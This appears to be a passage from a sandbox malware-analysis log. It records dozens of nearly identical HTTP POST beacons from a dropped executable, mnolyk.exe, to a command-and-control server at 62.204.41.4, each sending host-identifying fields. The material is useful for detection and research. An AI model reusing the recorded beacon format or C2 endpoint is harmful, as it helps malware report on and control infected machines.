Feb 7, 2023 23:08:30.007206917 CET	442	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:30.073004961 CET	442	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.7	50023	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:30.249608994 CET	443	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:30.312088013 CET	443	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.7	50024	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:30.495661020 CET	444	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:30.559978962 CET	444	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	49727	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:09.536305904 CET	137	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:09.600039959 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.7	50025	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:30.727716923 CET	445	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:30.790111065 CET	445	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.7	50026	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:30.966267109 CET	446	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:31.029891968 CET	446	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.7	50027	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:31.210464001 CET	447	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:31.274440050 CET	447	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.7	50028	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:31.449239016 CET	448	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:31.512262106 CET	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.7	50029	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:31.679572105 CET	449	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:31.742604971 CET	449	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.7	50030	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:31.914465904 CET	450	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:31.978188992 CET	450	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.7	50031	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:32.148799896 CET	451	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:32.213572025 CET	451	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.7	50032	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:32.408441067 CET	452	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:32.471019030 CET	452	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.7	50033	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:32.657521009 CET	453	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:32.720254898 CET	453	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.7	50034	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:32.903822899 CET	454	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:32.967792988 CET	454	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	49728	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:09.767108917 CET	138	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:09.831113100 CET	138	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.7	50035	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:33.151525021 CET	455	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:33.214391947 CET	455	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.7	50036	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:33.388753891 CET	456	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:33.453290939 CET	456	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.7	50037	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:33.640086889 CET	457	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:33.705540895 CET	457	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.7	50038	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:34.135274887 CET	458	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:34.198477983 CET	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.7	50039	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:34.413705111 CET	459	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:34.476334095 CET	459	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.7	50040	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:35.106091976 CET	460	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:35.169405937 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.7	50041	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:35.406745911 CET	461	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
